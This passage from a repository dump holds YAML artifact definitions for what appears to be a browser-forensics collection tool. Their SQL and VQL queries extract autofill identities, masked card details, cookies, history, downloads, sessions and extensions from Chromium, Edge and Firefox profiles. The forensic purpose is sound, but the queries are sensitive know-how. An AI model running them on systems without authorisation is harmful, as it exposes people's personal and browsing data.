date_modified, 39 | use_date, 40 | autofill_profile_names.first_name AS FirstName, 41 | autofill_profile_names.middle_name AS MiddleName, 42 | autofill_profile_names.last_name AS LastName, 43 | autofill_profile_emails.email as EmailAddress, 44 | autofill_profile_phones.number AS PhoneNumber, 45 | autofill_profiles.company_name AS CompanyName, 46 | autofill_profiles.street_address AS StreetAddress, 47 | autofill_profiles.city AS City, 48 | autofill_profiles.state AS State, 49 | autofill_profiles.zipcode AS ZipCode, 50 | autofill_profiles.use_count AS UseCount 51 | FROM 52 | autofill_profiles 53 | INNER JOIN autofill_profile_emails ON autofill_profile_emails.guid = autofill_profiles.guid 54 | INNER JOIN autofill_profile_phones ON autofill_profiles.guid = autofill_profile_phones.guid 55 | INNER JOIN autofill_profile_names ON autofill_profile_phones.guid = autofill_profile_names.guid 56 | ORDER BY 57 | autofill_profiles.guid ASC 58 | 59 | - name: Masked Credit Cards 60 | VQL: "SELECT * FROM Rows" 61 | SQL: | 62 | SELECT 63 | masked_credit_cards.id AS ID, 64 | masked_credit_cards.name_on_card AS NameOnCard, 65 | masked_credit_cards.network AS CardNetwork, 66 | masked_credit_cards.last_four AS LastFour, 67 | masked_credit_cards.exp_month AS ExpMonth, 68 | masked_credit_cards.exp_year AS ExpYear, 69 | masked_credit_cards.bank_name AS BankName, 70 | masked_credit_cards.nickname AS CardNickname, 71 | masked_credit_cards.card_issuer AS CardIssuer, 72 | masked_credit_cards.instrument_id AS InstrumentID 73 | FROM masked_credit_cards 74 | ORDER BY masked_credit_cards.id ASC 75 | -------------------------------------------------------------------------------- /definitions/ChromiumBrowser_Bookmarks.yaml: -------------------------------------------------------------------------------- 1 | Name: Chromium Browser Bookmarks 2 | Author: Sikha Puthanveedu @SikhaMohan, Mike Cohen 3 | Categories: 4 | - Chrome 5 | - Browser 6 | 7 | FilenameRegex: "Bookmarks" 8 | Globs: 9 | - "{{LinuxChromeProfiles}}/*/Bookmarks" 10 | - "{{WindowsChromeProfiles}}/*/Bookmarks" 11 | - "{{MacOSChromeProfiles}}/*/Bookmarks" 12 | 13 | Sources: 14 | - VQL: | 15 | -- Recursive function to report the details of a folder 16 | LET ReportFolder(Data, BaseName) = SELECT * FROM chain(a={ 17 | -- First row emit the data about the actual folder 18 | SELECT BaseName + " | " + Data.name AS Name, 19 | timestamp(winfiletime=int(int=Data.date_added) * 10) AS DateAdded, 20 | timestamp(winfiletime=int(int=Data.date_last_used) * 10) AS DateLastUsed, 21 | Data.type AS Type, 22 | Data.url || "" AS URL 23 | FROM scope() 24 | }, 25 | b={ 26 | -- If this folder has children recurse into it 27 | SELECT * FROM foreach(row={ 28 | SELECT _value FROM items(item=Data.children) 29 | }, query={ 30 | SELECT * FROM ReportFolder(Data=_value, BaseName=BaseName + " | " + Data.name) 31 | }) 32 | }) 33 | 34 | LET MatchingFiles = SELECT OSPath, parse_json(data=read_file(filename=OSPath)) AS Data 35 | FROM Rows 36 | 37 | SELECT * FROM foreach(row=MatchingFiles, query={ 38 | SELECT * FROM chain( 39 | a={ 40 | SELECT OSPath, *, "bookmark_bar" AS Type 41 | FROM ReportFolder(Data=Data.roots.bookmark_bar, BaseName="") 42 | }, 43 | b={ 44 | SELECT OSPath, *, "other" AS Type 45 | FROM ReportFolder(Data=Data.roots.other, BaseName="") 46 | }, 47 | c={ 48 | SELECT OSPath, *, "synced" AS Type 49 | FROM ReportFolder(Data=Data.roots.synced, BaseName="") 50 | }) 51 | }) 52 | -------------------------------------------------------------------------------- /definitions/ChromiumBrowser_Cookies.yaml: -------------------------------------------------------------------------------- 1 | Name: Chromium Browser 2 | Author: Andrew Rathbun 3 | Email: andrew.d.rathbun@gmail.com 4 | Reference: https://github.com/EricZimmerman/SQLECmd 5 | SQLiteIdentifyQuery: | 6 | SELECT count(*) AS `Check` 7 | FROM sqlite_master WHERE type='table' AND (name='cookies' OR name='meta'); 8 | SQLiteIdentifyValue: 2 9 | Categories: 10 | - Chrome 11 | - Browser 12 | FilenameRegex: "Cookies" 13 | Globs: 14 | - "{{LinuxChromeProfiles}}/*/Cookies" 15 | - "{{WindowsChromeProfiles}}/*/Cookies" 16 | - "{{MacOSChromeProfiles}}/*/Cookies" 17 | 18 | Sources: 19 | - name: Cookies 20 | VQL: | 21 | SELECT timestamp(winfiletime=(creation_utc * 10) || 0) AS CreationUTC, 22 | timestamp(winfiletime=(expires_utc * 10) || 0) AS ExpiresUTC, 23 | timestamp(winfiletime=(last_access_utc * 10) || 0) AS LastAccessUTC, 24 | HostKey, Name, Path, 25 | Bool(Value=is_secure) AS IsSecure, 26 | Bool(Value=is_httponly) AS IsHttpOnly, 27 | Bool(Value=has_expires) AS HasExpiration, 28 | Bool(Value=is_persistent) AS IsPersistent, 29 | Priority, SourcePort, OSPath 30 | FROM Rows 31 | WHERE LastAccessUTC > DateAfter AND LastAccessUTC < DateBefore 32 | AND (Name, Path) =~ FilterRegex 33 | 34 | SQL: | 35 | SELECT 36 | cookies.creation_utc, 37 | cookies.expires_utc, 38 | cookies.last_access_utc, 39 | cookies.host_key AS HostKey, 40 | cookies.name AS Name, 41 | cookies.path AS Path, 42 | cookies.is_secure, 43 | cookies.is_httponly, 44 | cookies.has_expires, 45 | cookies.is_persistent, 46 | cookies.priority AS Priority, 47 | cookies.source_port AS SourcePort 48 | FROM cookies 49 | ORDER BY cookies.creation_utc ASC 50 | -------------------------------------------------------------------------------- /definitions/ChromiumBrowser_Extensions.yaml: -------------------------------------------------------------------------------- 1 | Name: Chromium Browser Extensions 2 | Author: Mike Cohen 3 | Categories: 4 | - Chrome 5 | - Browser 6 | 7 | FilenameRegex: "manifest.json" 8 | Globs: 9 | - "{{LinuxChromeProfiles}}/*/Extensions/**/manifest.json" 10 | - "{{WindowsChromeProfiles}}/*/Extensions/**/manifest.json" 11 | - "{{MacOSChromeProfiles}}/*/Extensions/**/manifest.json" 12 | 13 | Sources: 14 | - VQL: | 15 | -- Resolve the message string against the Locale dict 16 | LET ResolveName(Message, Locale) = get(item=Locale, 17 | field=lowcase(string=parse_string_with_regex(regex="^__MSG_(.+)__$", string=Message).g1), 18 | default=Message).message || Message 19 | 20 | -- Read the manifest files 21 | LET ManifestData = SELECT OSPath, parse_json(data=read_file(filename=OSPath)) AS Manifest 22 | FROM Rows 23 | 24 | -- Find the Locale file to help with. 25 | LET LocaleData = SELECT *, if(condition=Manifest.default_locale, else=dict(), 26 | then=parse_json(data=read_file( 27 | filename=OSPath.Dirname + "_locales" + Manifest.default_locale + "messages.json"))) AS Locale 28 | FROM ManifestData 29 | 30 | LET GetIcon(Manifest) = Manifest.icons.`128` || Manifest.icons.`64` || Manifest.icons.`32` || Manifest.icons.`16` 31 | 32 | SELECT OSPath, Manifest.author.email AS Email, 33 | ResolveName(Message = Manifest.name, Locale=Locale) AS name, 34 | ResolveName(Message = Manifest.description, Locale=Locale) AS description, 35 | Manifest.oauth2.scopes as Scopes, 36 | Manifest.permissions as Permissions, 37 | Manifest.key as Key, if(condition=GetIcon(Manifest=Manifest), 38 | then=upload(file=OSPath.Dirname + GetIcon(Manifest=Manifest))) AS Image, 39 | Manifest AS _Manifest 40 | FROM LocaleData 41 | WHERE (name, description) =~ FilterRegex 42 | -------------------------------------------------------------------------------- /definitions/ChromiumBrowser_Favicons.yaml: -------------------------------------------------------------------------------- 1 | Name: Chromium Browser Favicons 2 | Author: Andrew Rathbun, Phill Moore 3 | Email: andrew.d.rathbun@gmail.com, @phillmoore 4 | Reference: https://github.com/EricZimmerman/SQLECmd 5 | SQLiteIdentifyQuery: | 6 | SELECT count(*) AS `Check` 7 | FROM sqlite_master 8 | WHERE type='table' 9 | AND (name='icon_mapping' OR name='favicons' OR name='favicon_bitmaps'); 10 | SQLiteIdentifyValue: 3 11 | Categories: 12 | - Chrome 13 | - Browser 14 | 15 | FilenameRegex: "Favicons" 16 | Globs: 17 | - "{{LinuxChromeProfiles}}/*/Favicons" 18 | - "{{WindowsChromeProfiles}}/*/Favicons" 19 | - "{{MacOSChromeProfiles}}/*/Favicons" 20 | 21 | Sources: 22 | - VQL: | 23 | SELECT ID, IconID, 24 | timestamp(winfiletime= (LastUpdated * 10) || 0) AS LastUpdated, 25 | PageURL, FaviconURL, 26 | upload(accessor="data", 27 | file=_image, 28 | name=format(format="Image%v.png", args=ID)) AS Image, 29 | OSPath as _OSPath 30 | FROM Rows 31 | WHERE LastUpdated > DateAfter AND LastUpdated < DateBefore 32 | 33 | SQL: | 34 | SELECT 35 | favicons.id AS ID, 36 | favicon_bitmaps.icon_id AS IconID, 37 | favicon_bitmaps.image_data as _image, 38 | favicon_bitmaps.last_updated AS LastUpdated, 39 | icon_mapping.page_url AS PageURL, 40 | favicons.url AS FaviconURL 41 | FROM favicons 42 | INNER JOIN icon_mapping 43 | INNER JOIN favicon_bitmaps 44 | ON icon_mapping.icon_id = favicon_bitmaps.icon_id 45 | AND favicons.id = favicon_bitmaps.icon_id 46 | ORDER BY favicons.id ASC 47 | -------------------------------------------------------------------------------- /definitions/ChromiumBrowser_HistoryVisits.yaml: -------------------------------------------------------------------------------- 1 | Name: Chromium Browser History 2 | Author: Andrew Rathbun 3 | Email: andrew.d.rathbun@gmail.com 4 | Reference: https://github.com/EricZimmerman/SQLECmd 5 | SQLiteIdentifyQuery: | 6 | SELECT count(*) AS `Check` 7 | FROM sqlite_master 8 | WHERE type='table' 9 | AND (name='urls' OR name='visits' OR name='downloads' OR name='segments'); 10 | SQLiteIdentifyValue: 4 11 | Categories: 12 | - Chrome 13 | - Browser 14 | FilenameRegex: "History" 15 | Globs: 16 | - "{{LinuxChromeProfiles}}/*/History" 17 | - "{{WindowsChromeProfiles}}/*/History" 18 | - "{{MacOSChromeProfiles}}/*/History" 19 | 20 | Sources: 21 | - name: Visits 22 | VQL: | 23 | SELECT ID, 24 | timestamp(winfiletime=(visit_time * 10) || 0) AS VisitTime, 25 | timestamp(winfiletime=(last_visit_time * 10) || 0) AS LastVisitedTime, 26 | URLTitle, URL, VisitCount, TypedCount, 27 | if(condition=hidden =~ '1', then="Yes", else="No") AS Hidden, 28 | VisitID, FromVisitID, 29 | visit_duration / 1000000 AS VisitDurationInSeconds, 30 | OSPath 31 | FROM Rows 32 | WHERE VisitTime > DateAfter 33 | AND VisitTime < DateBefore 34 | AND (URLTitle, URL) =~ FilterRegex 35 | SQL: | 36 | SELECT 37 | urls.id AS ID, 38 | visits.visit_time as visit_time, 39 | urls.last_visit_time as last_visit_time, 40 | urls.title AS URLTitle, 41 | urls.url AS URL, 42 | urls.visit_count AS VisitCount, 43 | urls.typed_count AS TypedCount, 44 | urls.hidden as hidden, 45 | visits.id AS VisitID, 46 | visits.from_visit AS FromVisitID, 47 | visits.visit_duration as visit_duration 48 | FROM urls 49 | LEFT JOIN visits ON urls.id = visits.url 50 | ORDER BY visits.visit_time ASC 51 | 52 | - name: Downloads 53 | VQL: | 54 | LET StateLookup <= dict(`0`='In Progress', `1`='Complete', `2`="Cancelled", `3`="Interrupted", `4`="Interrupted") 55 | LET DangerType <= dict(`0`='Not Dangerous', `1`="Dangerous", `2`='Dangerous URL', `3`='Dangerous Content', 56 | `4`='Content May Be Malicious', `5`='Uncommon Content', `6`='Dangerous But User Validated', 57 | `7`='Dangerous Host', `8`='Potentially Unwanted', `9`='Whitelisted by Policy') 58 | LET InterruptReason <= dict(`0`= 'No Interrupt', `1`= 'File Error', `2`='Access Denied', `3`='Disk Full', 59 | `5`='Path Too Long',`6`='File Too Large', `7`='Virus', `10`='Temporary Problem', `11`='Blocked', 60 | `12`='Security Check Failed', `13`='Resume Error', `20`='Network Error', `21`='Operation Timed Out', 61 | `22`='Connection Lost', `23`='Server Down', `30`='Server Error', `31`='Range Request Error', 62 | `32`='Server Precondition Error', `33`='Unable to get file', `34`='Server Unauthorized', 63 | `35`='Server Certificate Problem', `36`='Server Access Forbidden', `37`='Server Unreachable', 64 | `38`='Content Length Mismatch', `39`='Cross Origin Redirect', `40`='Cancelled', `41`='Browser Shutdown', 65 | `50`='Browser Crashed') 66 | 67 | SELECT ID, GUID, CurrentPath, TargetPath, OriginalMIMEType, ReceivedBytes, TotalBytes, 68 | timestamp(winfiletime=(start_time * 10) || 0) AS StartTime, 69 | timestamp(winfiletime=(end_time * 10) || 0) AS EndTime, 70 | timestamp(winfiletime=(opened * 10) || 0) AS Opened, 71 | timestamp(winfiletime=(last_access_time * 10) || 0) AS LastAccessTime, 72 | timestamp(epoch=last_modified) AS LastModified, 73 | get(item=StateLookup, field=str(str=state), default="Unknown") AS State, 74 | get(item=DangerType, field=str(str=danger_type), default="Unknown") AS DangerType, 75 | get(item=InterruptReason, field=str(str=interrupt_reason), default="Unknown") AS InterruptReason, 76 | ReferrerURL, SiteURL, TabURL, TabReferrerURL, DownloadURL, OSPath 77 | FROM Rows 78 | WHERE LastAccessTime > DateAfter AND LastAccessTime < DateBefore 79 | AND (SiteURL, DownloadURL, TabURL, TabReferrerURL, ReferrerURL, DownloadURL) =~ FilterRegex 80 | 81 | SQL: | 82 | SELECT 83 | downloads.id AS ID, 84 | downloads.guid AS GUID, 85 | downloads.current_path AS CurrentPath, 86 | downloads.target_path AS TargetPath, 87 | downloads.original_mime_type AS OriginalMIMEType, 88 | downloads.received_bytes AS ReceivedBytes, 89 | downloads.total_bytes AS TotalBytes, 90 | downloads.start_time, 91 | downloads.end_time, 92 | downloads.opened, 93 | downloads.last_access_time, 94 | downloads.last_modified, 95 | downloads.state, 96 | downloads.danger_type, 97 | downloads.interrupt_reason, 98 | downloads.referrer AS ReferrerURL, 99 | downloads.site_url AS SiteURL, 100 | downloads.tab_url AS TabURL, 101 | downloads.tab_referrer_url AS TabReferrerURL, 102 | DownloadURL.url AS DownloadURL 103 | FROM downloads 104 | INNER JOIN downloads_url_chains AS DownloadURL ON downloads.id = DownloadURL.id 105 | ORDER BY downloads.id ASC 106 | 107 | - name: Keywords 108 | VQL: | 109 | SELECT KeywordID, URLID, 110 | timestamp(winfiletime=(last_visit_time * 10) || 0) AS LastVisitedTime, 111 | KeywordSearchTerm, Title, URL, OSPath 112 | FROM Rows 113 | WHERE LastVisitedTime > DateAfter AND LastVisitedTime < DateBefore 114 | AND (Title, KeywordSearchTerm, URL) =~ FilterRegex 115 | 116 | SQL: | 117 | SELECT 118 | keyword_search_terms.keyword_id AS KeywordID, 119 | keyword_search_terms.url_id AS URLID, 120 | urls.last_visit_time, 121 | keyword_search_terms.term AS KeywordSearchTerm, 122 | urls.title AS Title, 123 | urls.url AS URL 124 | FROM keyword_search_terms 125 | INNER JOIN urls ON keyword_search_terms.url_id = urls.id 126 | ORDER BY keyword_search_terms.keyword_id ASC 127 | -------------------------------------------------------------------------------- /definitions/ChromiumBrowser_Media.yaml: -------------------------------------------------------------------------------- 1 | Name: Chromium Browser Media 2 | Author: Andrew Rathbun 3 | Email: andrew.d.rathbun@gmail.com 4 | Reference: https://github.com/EricZimmerman/SQLECmd 5 | SQLiteIdentifyQuery: | 6 | SELECT count(*) AS `Check` 7 | FROM sqlite_master 8 | WHERE type='table' 9 | AND (name='origin' OR name='playback' OR name='playbackSession'); 10 | SQLiteIdentifyValue: 3 11 | Categories: 12 | - Chrome 13 | - Browser 14 | FilenameRegex: "Media History" 15 | Globs: 16 | - "{{LinuxChromeProfiles}}/*/Media History" 17 | - "{{WindowsChromeProfiles}}/*/Media History" 18 | - "{{MacOSChromeProfiles}}/*/Media History" 19 | 20 | Sources: 21 | - name: History 22 | VQL: | 23 | SELECT ID, URL, WatchTimeSeconds, 24 | Bool(Value=has_video) AS HasVideo, 25 | Bool(Value=has_audio) AS HasAudio, 26 | timestamp(winfiletime=last_updated_time_s || 0) AS LastUpdated, 27 | OriginID, OSPath 28 | FROM Rows 29 | WHERE LastUpdated > DateAfter AND LastUpdated < DateBefore 30 | AND URL =~ FilterRegex 31 | 32 | SQL: | 33 | SELECT 34 | playback.id AS ID, 35 | playback.url AS URL, 36 | playback.watch_time_s AS WatchTimeSeconds, 37 | playback.has_video, 38 | playback.has_audio, 39 | playback.last_updated_time_s, 40 | playback.origin_id AS OriginID 41 | FROM playback 42 | ORDER BY playback.id ASC 43 | 44 | - name: Playback Session 45 | VQL: | 46 | SELECT ID, 47 | timestamp(winfiletime=last_updated_time_s || 0) AS LastUpdated, URL, 48 | duration_ms / 1000 AS DurationInSeconds, 49 | position_ms / 1000 AS PositionInSeconds, 50 | Title, Artist, Album, SourceTitle, OriginID, OSPath 51 | FROM Rows 52 | WHERE LastUpdated > DateAfter AND LastUpdated < DateBefore 53 | AND URL =~ FilterRegex 54 | 55 | SQL: | 56 | SELECT 57 | playbackSession.id AS ID, 58 | playbackSession.last_updated_time_s, 59 | playbackSession.url AS URL, 60 | playbackSession.duration_ms, 61 | playbackSession.position_ms, 62 | playbackSession.title AS Title, 63 | playbackSession.artist AS Artist, 64 | playbackSession.album AS Album, 65 | playbackSession.source_title AS SourceTitle, 66 | playbackSession.origin_id AS OriginID 67 | FROM playbackSession 68 | ORDER BY playbackSession.id 69 | -------------------------------------------------------------------------------- /definitions/ChromiumBrowser_NetworkActionPredictor.yaml: -------------------------------------------------------------------------------- 1 | Name: Chromium Browser Network 2 | Author: Andrew Rathbun 3 | Email: andrew.d.rathbun@gmail.com 4 | Reference: https://github.com/EricZimmerman/SQLECmd 5 | SQLiteIdentifyQuery: | 6 | SELECT count(*) AS `Check` 7 | FROM sqlite_master 8 | WHERE type='table' 9 | AND (name='resource_prefetch_predictor_host_redirect' 10 | OR name='network_action_predictor' OR name='resource_prefetch_predictor_metadata'); 11 | SQLiteIdentifyValue: 3 12 | Categories: 13 | - Chrome 14 | - Browser 15 | FilenameRegex: "Network Action Predictor" 16 | Globs: 17 | - "{{LinuxChromeProfiles}}/*/Network Action Predictor" 18 | - "{{WindowsChromeProfiles}}/*/Network Action Predictor" 19 | - "{{MacOSChromeProfiles}}/*/Network Action Predictor" 20 | 21 | Sources: 22 | - name: Predictor 23 | VQL: | 24 | SELECT * FROM Rows 25 | WHERE UserText =~ FilterRegex 26 | 27 | SQL: | 28 | SELECT 29 | network_action_predictor.id AS ID, 30 | network_action_predictor.user_text AS UserText, 31 | network_action_predictor.url AS URL, 32 | network_action_predictor.number_of_hits AS NumberOfHits, 33 | network_action_predictor.number_of_misses AS NumberOfMisses 34 | FROM network_action_predictor, resource_prefetch_predictor_host_redirect 35 | ORDER BY network_action_predictor.id ASC 36 | -------------------------------------------------------------------------------- /definitions/ChromiumBrowser_Notifications.yaml: -------------------------------------------------------------------------------- 1 | Name: Chromium Browser Notifications 2 | Author: Maxime Thiebaut (@0xThiebaut) 3 | Categories: 4 | - Chrome 5 | - Edge 6 | - Browser 7 | 8 | FilenameRegex: "Preferences" 9 | Globs: 10 | - "{{LinuxChromeProfiles}}/*/Preferences" 11 | - "{{WindowsChromeProfiles}}/*/Preferences" 12 | - "{{MacOSChromeProfiles}}/*/Preferences" 13 | 14 | Sources: 15 | - name: Site Engagements 16 | VQL: | 17 | LET JSON = SELECT parse_json(data=read_file(filename=OSPath)) AS Data, OSPath FROM Rows 18 | 19 | SELECT * FROM foreach(row={ 20 | SELECT OSPath, Data.profile.content_settings.exceptions AS exceptions FROM JSON 21 | }, query={ 22 | SELECT _key AS Site, 23 | timestamp(winfiletime=int(int=_value.last_modified) * 10 || 0) AS LastModified, 24 | timestamp(winfiletime=int(int=_value.setting.lastEngagementTime) * 10 || 0) AS LastEngagementTime, 25 | OSPath 26 | FROM items(item=exceptions.site_engagement) 27 | }) 28 | 29 | - name: App Banners 30 | VQL: | 31 | LET JSON = SELECT parse_json(data=read_file(filename=OSPath)) AS Data, OSPath FROM Rows 32 | 33 | SELECT * FROM foreach(row={ 34 | SELECT OSPath, Data.profile.content_settings.exceptions AS exceptions FROM JSON 35 | }, query={ 36 | SELECT _key AS Site, 37 | timestamp(winfiletime=int(int=_value.last_modified) * 10 || 0) AS LastModified, 38 | { 39 | SELECT _key AS Site, 40 | timestamp(winfiletime=int(int=_value.couldShowBannerEvents) * 10 || 0) AS CouldShowBannerEvents, 41 | timestamp(winfiletime=int(int=_value.next_install_text_animation.last_shown) * 10 || 0) AS LastShown 42 | FROM items(item=_value.setting) 43 | } AS Setting, 44 | OSPath 45 | FROM items(item=exceptions.app_banner) 46 | }) 47 | 48 | - name: Notification Preferences 49 | VQL: | 50 | LET ContentSettings <= array(`0`="Default",`1`="Allow",`2`="Block",`3`="Ask",`4`="Session Only",`5`="Detect Important Content") 51 | 52 | LET JSON = SELECT parse_json(data=read_file(filename=OSPath)) AS Data, OSPath FROM Rows 53 | 54 | SELECT * FROM foreach(row={ 55 | SELECT OSPath, Data.profile.content_settings.exceptions AS exceptions FROM JSON 56 | }, query={ 57 | SELECT _key AS Site, 58 | timestamp(winfiletime=int(int=_value.last_modified) * 10 || 0) AS LastModified, 59 | ContentSettings[_value.setting] AS Setting, 60 | OSPath 61 | FROM items(item=exceptions.notifications) 62 | }) 63 | 64 | - name: Notification Interactions 65 | VQL: | 66 | LET JSON = SELECT parse_json(data=read_file(filename=OSPath)) AS Data, OSPath FROM Rows 67 | LET S = scope() 68 | 69 | SELECT * FROM foreach(row={ 70 | SELECT OSPath, Data.profile.content_settings.exceptions AS exceptions FROM JSON 71 | }, query={ 72 | SELECT _key AS URL, 73 | timestamp(winfiletime=int(int=_value.last_modified) * 10 || 0) AS LastModified, 74 | _value.display_count as DisplayCount, 75 | _value.click_count as ClickCount, 76 | OSPath 77 | FROM items(item=S.notification_interactions || dict()) 78 | }) 79 | -------------------------------------------------------------------------------- /definitions/ChromiumBrowser_OmniboxShortcuts.yaml: -------------------------------------------------------------------------------- 1 | Name: Chromium Browser Shortcuts 2 | Author: Andrew Rathbun 3 | Email: andrew.d.rathbun@gmail.com 4 | Reference: https://github.com/EricZimmerman/SQLECmd 5 | SQLiteIdentifyQuery: | 6 | SELECT count(*) AS `Check` 7 | FROM sqlite_master 8 | WHERE type='table' 9 | AND (name='meta' OR name='omni_box_shortcuts'); 10 | SQLiteIdentifyValue: 2 11 | Categories: 12 | - Chrome 13 | - Browser 14 | 15 | FilenameRegex: "Shortcuts" 16 | Globs: 17 | - "{{LinuxChromeProfiles}}/*/Shortcuts" 18 | - "{{WindowsChromeProfiles}}/*/Shortcuts" 19 | - "{{MacOSChromeProfiles}}/*/Shortcuts" 20 | 21 | Sources: 22 | - VQL: | 23 | SELECT ID, 24 | timestamp(winfiletime= (last_access_time * 10) || 0) AS LastAccessTime, 25 | TextTyped, FillIntoEdit, URL, Contents, 26 | Description, Type, Keyword, TimesSelectedByUser, OSPath 27 | FROM Rows 28 | WHERE LastAccessTime > DateAfter AND LastAccessTime < DateBefore 29 | AND (Contents, Description) =~ FilterRegex 30 | 31 | SQL: | 32 | SELECT 33 | omni_box_shortcuts.last_access_time, 34 | omni_box_shortcuts.text AS TextTyped, 35 | omni_box_shortcuts.fill_into_edit AS FillIntoEdit, 36 | omni_box_shortcuts.url AS URL, 37 | omni_box_shortcuts.contents AS Contents, 38 | omni_box_shortcuts.description AS Description, 39 | omni_box_shortcuts.type AS Type, 40 | omni_box_shortcuts.keyword AS Keyword, 41 | omni_box_shortcuts.number_of_hits AS TimesSelectedByUser, 42 | omni_box_shortcuts.id AS ID 43 | FROM omni_box_shortcuts 44 | ORDER BY omni_box_shortcuts.last_access_time ASC 45 | -------------------------------------------------------------------------------- /definitions/ChromiumBrowser_Sessions.yaml: -------------------------------------------------------------------------------- 1 | Name: Chromium Sessions 2 | Author: Mike Cohen 3 | Reference: https://www.inversecos.com/2022/10/recovering-cleared-browser-history.html 4 | SQLiteIdentifyQuery: | 5 | SELECT count(*) AS `Check` 6 | FROM sqlite_master WHERE type='table' AND (name='cookies' OR name='meta'); 7 | SQLiteIdentifyValue: 2 8 | Categories: 9 | - Chrome 10 | - Browser 11 | FilenameRegex: "Session" 12 | Globs: 13 | - "{{LinuxChromeProfiles}}/*/Sessions/Session_*" 14 | - "{{WindowsChromeProfiles}}/*/Sessions/Session_*" 15 | - "{{MacOSChromeProfiles}}/*/Sessions/Session_*" 16 | 17 | Sources: 18 | - name: Sessions 19 | VQL: | 20 | SELECT timestamp(winfiletime=(creation_utc * 10) || 0) AS CreationUTC, 21 | timestamp(winfiletime=(expires_utc * 10) || 0) AS ExpiresUTC, 22 | timestamp(winfiletime=(last_access_utc * 10) || 0) AS LastAccessUTC, 23 | HostKey, Name, Path, 24 | Bool(Value=is_secure) AS IsSecure, 25 | Bool(Value=is_httponly) AS IsHttpOnly, 26 | Bool(Value=has_expires) AS HasExpiration, 27 | Bool(Value=is_persistent) AS IsPersistent, 28 | Priority, SourcePort, OSPath 29 | FROM Rows 30 | WHERE LastAccessUTC > DateAfter AND LastAccessUTC < DateBefore 31 | AND (Name, Path) =~ FilterRegex 32 | 33 | SQL: | 34 | SELECT 35 | cookies.creation_utc, 36 | cookies.expires_utc, 37 | cookies.last_access_utc, 38 | cookies.host_key AS HostKey, 39 | cookies.name AS Name, 40 | cookies.path AS Path, 41 | cookies.is_secure, 42 | cookies.is_httponly, 43 | cookies.has_expires, 44 | cookies.is_persistent, 45 | cookies.priority AS Priority, 46 | cookies.source_port AS SourcePort 47 | FROM cookies 48 | ORDER BY cookies.creation_utc ASC 49 | -------------------------------------------------------------------------------- /definitions/ChromiumBrowser_TopSites.yaml: -------------------------------------------------------------------------------- 1 | Name: Chromium Browser Top Sites 2 | Author: Andrew Rathbun 3 | Email: andrew.d.rathbun@gmail.com 4 | Reference: https://github.com/EricZimmerman/SQLECmd 5 | SQLiteIdentifyQuery: | 6 | SELECT count(*) AS `Check` 7 | FROM sqlite_master 8 | WHERE type='table' 9 | AND (name='meta' OR name='top_sites'); 10 | SQLiteIdentifyValue: 2 11 | Categories: 12 | - Chrome 13 | - Browser 14 | 15 | FilenameRegex: "Top Sites" 16 | Globs: 17 | - "{{LinuxChromeProfiles}}/*/Top Sites" 18 | - "{{WindowsChromeProfiles}}/*/Top Sites" 19 | - "{{MacOSChromeProfiles}}/*/Top Sites" 20 | 21 | Sources: 22 | - VQL: | 23 | SELECT * FROM Rows 24 | WHERE ( URL =~ FilterRegex OR Title =~ FilterRegex ) 25 | 26 | SQL: | 27 | SELECT 28 | top_sites.url_rank AS URLRank, 29 | top_sites.url AS URL, 30 | top_sites.title AS Title 31 | FROM top_sites 32 | ORDER BY top_sites.url_rank ASC 33 | -------------------------------------------------------------------------------- /definitions/EdgeBrowser_Autofill.yaml: -------------------------------------------------------------------------------- 1 | Name: Edge Browser Autofill 2 | Author: Chris Hayes - Reliance Cyber 3 | SQLiteIdentifyQuery: | 4 | SELECT count(*) AS `Check` 5 | FROM sqlite_master 6 | WHERE type='table' 7 | AND (name='autofill_edge_field_client_info' OR name='autofill_edge_field_values'); 8 | SQLiteIdentifyValue: 2 9 | Categories: 10 | - Edge 11 | - Browser 12 | 13 | FilenameRegex: "Web Data" 14 | Globs: 15 | - "{{LinuxChromeProfiles}}/*/Web Data" 16 | - "{{WindowsChromeProfiles}}/*/Web Data" 17 | - "{{MacOSChromeProfiles}}/*/Web Data" 18 | 19 | Sources: 20 | - name: CombinedAutofill 21 | VQL: | 22 | SELECT timestamp(epoch=date_last_used) AS DateLastUsed 23 | FROM Rows 24 | WHERE DateLastUsed > DateAfter AND DateLastUsed < DateBefore 25 | 26 | SQL: | 27 | SELECT 28 | autofill_edge_field_client_info.form_signature_v1, 29 | autofill_edge_field_client_info.form_signature_v2, 30 | autofill_edge_field_client_info.domain_value, 31 | autofill_edge_field_values.date_last_used, 32 | GROUP_CONCAT(autofill_edge_field_client_info.label || ': ' || autofill_edge_field_values.value, ', ') AS label_value_pairs, 33 | json_group_object(autofill_edge_field_client_info.label, autofill_edge_field_values.value) AS label_value_json 34 | FROM 35 | autofill_edge_field_values 36 | JOIN 37 | autofill_edge_field_client_info 38 | ON 39 | autofill_edge_field_values.field_id = autofill_edge_field_client_info.field_id 40 | GROUP BY 41 | autofill_edge_field_client_info.form_signature_v1, 42 | autofill_edge_field_client_info.form_signature_v2, 43 | autofill_edge_field_client_info.domain_value, 44 | autofill_edge_field_values.date_last_used; 45 | -------------------------------------------------------------------------------- /definitions/EdgeBrowser_NavigationHistory.yaml: -------------------------------------------------------------------------------- 1 | Name: Edge Browser Navigation History 2 | Author: Suyash Tripathi 3 | Email: suyash.tripathi@cybercx.com.au 4 | Reference: https://github.com/EricZimmerman/SQLECmd 5 | SQLiteIdentifyQuery: | 6 | SELECT count(*) AS `Check` 7 | FROM sqlite_master 8 | WHERE type='table' 9 | AND name='navigation_history'; 10 | SQLiteIdentifyValue: 1 11 | Categories: 12 | - Edge 13 | - Browser 14 | FilenameRegex: "WebAssistDatabase" 15 | Globs: 16 | - "{{WindowsChromeProfiles}}/*/WebAssistDatabase" 17 | - "{{MacOSChromeProfiles}}/*/WebAssistDatabase" 18 | 19 | Sources: 20 | - name: Navigation History 21 | VQL: | 22 | SELECT ID, 23 | timestamp(epoch=`Last Visited Time`) AS `Last Visited Time`, 24 | Title, URL, VisitCount, OSPath 25 | FROM Rows 26 | WHERE `Last Visited Time` > DateAfter 27 | AND `Last Visited Time` < DateBefore 28 | AND (Title, URL) =~ FilterRegex 29 | 30 | SQL: | 31 | SELECT 32 | navigation_history.id AS ID, 33 | navigation_history.last_visited_time AS 'Last Visited Time', 34 | navigation_history.title AS Title, 35 | navigation_history.url AS URL, 36 | navigation_history.num_visits AS VisitCount 37 | FROM 38 | navigation_history 39 | ORDER BY 40 | navigation_history.last_visited_time ASC; 41 | -------------------------------------------------------------------------------- /definitions/Firefox_Bookmarks.yaml: -------------------------------------------------------------------------------- 1 | Name: Firefox Places 2 | Author: Andrew Rathbun 3 | Email: andrew.d.rathbun@gmail.com 4 | Reference: 